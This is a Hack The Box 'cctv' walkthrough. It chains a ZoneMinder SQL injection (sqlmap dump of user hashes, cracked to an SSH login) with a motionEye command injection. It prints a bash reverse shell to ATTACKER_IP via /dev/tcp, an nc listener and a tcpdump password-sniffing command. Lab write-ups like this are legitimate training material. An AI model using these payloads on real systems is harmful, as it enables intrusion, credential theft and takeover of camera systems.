HTB cctv

Enumeration

Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 08:21 +0000
Nmap scan report for cctv.htb (10.129.231.158)
Host is up (0.12s latency).
Not shown: 601 closed tcp ports (reset), 397 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: SecureVision CCTV & Security Solutions
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.75 seconds

Discovered port 80.

echo '10.129.231.158 cctv.htb' | sudo tee -a /etc/hosts

Web

Attempted the default credentials admin:admin to access the admin backend.

Discovered version v1.37.63. Searching led to CVE-2024-51482.

CVE-2024-51482

CVE-2024-51482 is a SQL Injection vulnerability affecting ZoneMinder (an open-source CCTV video surveillance platform). Attackers can manipulate database queries by crafting specific requests, thereby stealing system data or even further compromising the system.

Below is a complete introduction to this vulnerability (a common topic in penetration testing/CTF).

1. Basic Vulnerability Information

The vulnerability stems from the web interface not properly sanitizing user input, allowing attackers to inject malicious SQL code into database queries.

2. Vulnerability Location

The vulnerability exists in:

web/ajax/event.php

Specifically within the removetag functionality.

The program directly uses user input:

$tagId = $_REQUEST['tid'];
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";

Because the tid parameter is not safely filtered, attackers can insert SQL statements.

3. Vulnerability Trigger Point

Attack interface:

/zm/index.php?view=request&request=event&action=removetag&tid=1

Where the parameter:

tid

can be injected with SQL.

4. Vulnerability Type

Mainly two forms of SQL injection:

1️⃣ Boolean-based SQL Injection

Determining database content through true/false conditions.

For example:

tid=1 AND 1=1
tid=1 AND 1=2

Inferring data based on differences in page responses.

2️⃣ Time-based Blind SQL Injection

Inferring data through delays.

For example:

tid=1 AND SLEEP(5)

If the server delays for 5 seconds, it indicates successful injection.

5. Vulnerability Impact

If the vulnerability is successfully exploited, attackers can:

1️⃣ Obtain Database Information

For example:

information_schema
zm database

2️⃣ Leak User Credentials

Can read the:

Username
Password

columns from the:

zm.Users

table.

For example:

admin : hash

3️⃣ Gain Server Access

Typical attack chain:

SQL Injection
↓
Dump credentials
↓
SSH login
↓
Privilege escalation

For example, in some target machines:

ZoneMinder SQLi
↓
Dump mark:opensesame
↓
SSH login

6. CVSS Risk Level

CVSS v3 Characteristics:

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Impact: High

This implies:

Remotely exploitable
Low difficulty
Severe impact

Attackers could potentially gain full control over the database.

7. Vulnerability Exploitation Thought Process (Penetration Testing)

Common exploitation flow:

1️⃣ Discover ZoneMinder

http://target/zm

2️⃣ Confirm Version

/zm/api/host/getVersion.json

3️⃣ SQL Injection

Test:

/zm/index.php?view=request&request=event&action=removetag&tid=1

4️⃣ Use Tools

For example:

sqlmap-u"http://target/zm/index.php?view=request&request=event&action=removetag&tid=1"

5️⃣ Dump User Table

database: zm
table: Users

6️⃣ Obtaining System Access

Examples:

SSH
admin panel
API

Eight, Remediation

Official remediation method:

Upgrade to:

ZoneMinder 1.37.65

Remediation includes:

• Parameter validation.
• Use of secure SQL queries.
• Prevention of direct SQL concatenation with user input.

Nine, Why This Vulnerability is Dangerous

ZoneMinder is typically deployed in:

Enterprises
Monitoring systems
Security systems
Industrial environments

Therefore, attackers could:

Steal monitoring data.
Delete recordings.
Control cameras.
Gain access to internal networks.

It is classified as a High-Risk Security System Vulnerability.

✅ One-Sentence Summary

CVE-2024-51482 is an SQL injection vulnerability in ZoneMinder. Attackers can manipulate database queries through the tid parameter to obtain user credentials and even further control the server.

Exploitation

sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
    --cookie="ZMSESSID=<cookie_from_developer_tools>" \
    -p tid --dbms=mysql --batch -D zm -T Users --dump

+------------+--------------------------------------------------------------+
| Username   | Password                                                     |
+------------+--------------------------------------------------------------+
| admin      | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark       | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| superadmin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+

Cracking the hash

echo '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' > mark_hash

Obtained mark:opensesame

After attempting SSH into mark

mark@cctv:~$ ss -tulnp
Netid          State           Recv-Q          Send-Q                   Local Address:Port                     Peer Address:Port          Process
udp            UNCONN          0               0                           127.0.0.54:53                            0.0.0.0:*
udp            UNCONN          0               0                        127.0.0.53%lo:53                            0.0.0.0:*
udp            UNCONN          0               0                              0.0.0.0:68                            0.0.0.0:*
tcp            LISTEN          0               4096                           0.0.0.0:22                            0.0.0.0:*
tcp            LISTEN          0               128                          127.0.0.1:8765                          0.0.0.0:*
tcp            LISTEN          0               4096                         127.0.0.1:8888                          0.0.0.0:*
tcp            LISTEN          0               4096                         127.0.0.1:9081                          0.0.0.0:*
tcp            LISTEN          0               4096                         127.0.0.1:8554                          0.0.0.0:*
tcp            LISTEN          0               70                           127.0.0.1:33060                         0.0.0.0:*
tcp            LISTEN          0               4096                     127.0.0.53%lo:53                            0.0.0.0:*
tcp            LISTEN          0               4096                         127.0.0.1:7999                          0.0.0.0:*
tcp            LISTEN          0               4096                         127.0.0.1:1935                          0.0.0.0:*
tcp            LISTEN          0               151                          127.0.0.1:3306                          0.0.0.0:*
tcp            LISTEN          0               4096                        127.0.0.54:53                            0.0.0.0:*
tcp            LISTEN          0               4096                              [::]:22                               [::]:*
tcp            LISTEN          0               511                                  *:80                                  *:*

motionEye

curl 127.0.0.1:8765
# Returns a page

Forwarding the port

ssh -L 8765:127.0.0.1:8765 mark@cctv.htb

Discovered motioneye and it is a login page

Viewing the source code reveals → 0.43.1b4

Search yields CVE-2025-60787

CVE-2025-60787

CVE-2025-60787 is a Remote Code Execution (RCE) vulnerability found in motionEye (a camera management system). Its essence is OS Command Injection. It commonly occurs in CCTV / camera monitoring platform environments, making it typical in penetration testing or HTB machines.

One, Basic Vulnerability Information

This vulnerability allows attackers to execute arbitrary system commands on the server.

Two, Vulnerability Root Cause

The motionEye Web UI has configuration fields such as:

image_file_name
movie_filename

User input is processed as:

Web UI
   ↓
config.py
   ↓
Written to camera-*.conf
   ↓
Read by the motion service

The problem is:

• The backend does not filter special characters.
• User input is written directly to the configuration file.
• motion executes shell syntax when parsing configurations.

For example:

$(touch /tmp/pwned)

Would be executed as a shell command.

Three, Vulnerability Exploitation Principle

Attack flow:

Attacker logs into motionEye
        ↓
Modifies configuration parameter (image_file_name)
        ↓
Injects shell payload
        ↓
Configuration written to camera-1.conf
        ↓
motion service restarts
        ↓
Payload executes

Four, Simple PoC Example

In the motionEye Web UI’s:

Settings → Still Images → Image File Name

Fill in:

$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

When motion reloads the configuration:

/tmp/test

Will be created, indicating successful command execution.

Five, Real Attack Payload

Attackers can directly obtain a shell, for example:

$(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')

Listening:

nc -lvnp 4444

Will yield a reverse shell.

Six, Vulnerability Impact

After successful exploitation, attackers can:

• Execute arbitrary system commands.
• Obtain a server shell.
• Control the motionEye container.
• In some cases, control the host machine.

In severe cases, this could lead to:

Complete takeover of the monitoring system.

Seven, Vulnerability Remediation

Official remediation method:

1️⃣ Strictly filter configuration parameters.

Allow only:

a-z A-Z 0-9
% - _ / .

2️⃣ Add input validation on the backend.

3️⃣ Upgrade to the patched version.

Eight, Exploitation Scenario in Penetration Testing

Typical attack chain:

Weak password / SQLi
        ↓
Log into motionEye admin
        ↓
Modify image_file_name
        ↓
Command injection
        ↓
Reverse shell

Nine, Why CCTV / Camera Systems Are Prone to This Vulnerability

The reasons are:

• Monitoring systems heavily use shell scripts.
• Configuration files are frequently called directly.
• There are many chains from Web UI → config → shell.

Thus:

Command injection is very common.

Ten, Significance in HTB / Penetration Environments

If the target is:

CCTV
motionEye
ZoneMinder

And the following appears:

camera.conf
motion
rtsp

Then a vulnerability like CVE-2025-60787 is a very common privilege escalation vector.

✅ One-sentence Summary

CVE-2025-60787 is a command injection vulnerability caused by unfiltered motionEye configuration parameters. An attacker can execute arbitrary system commands on the server by modifying the filename field in the web UI, thereby obtaining a remote shell.

This is an authenticated RCE.

1. Frontend Bypass Verification

Entering characters that don’t meet the requirements returns “ok”. This indicates frontend JS validation, allowing bypass of the frontend restrictions to directly call backend interfaces.

configUiValid = function() { return true; };
# I haven't figured this part out here

You can also directly use curl to access the backend endpoint.

2. tcpdump Sniffing

cat /opt/video/backups/server.log

Discovered that user sa_mark regularly logs into the page.

Combining this with ifconfig, attempt tcpdump sniffing.

tcpdump -i any -nn -A | grep -i sa_mark

Discovered:

USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb

Then, using admin:X1l9fx1ZjS7RZb allows logging into the website. Subsequently, exploiting CVE-2025-60787 can be used to gain root access.

Source: https://www.exploit-db.com/exploits/52481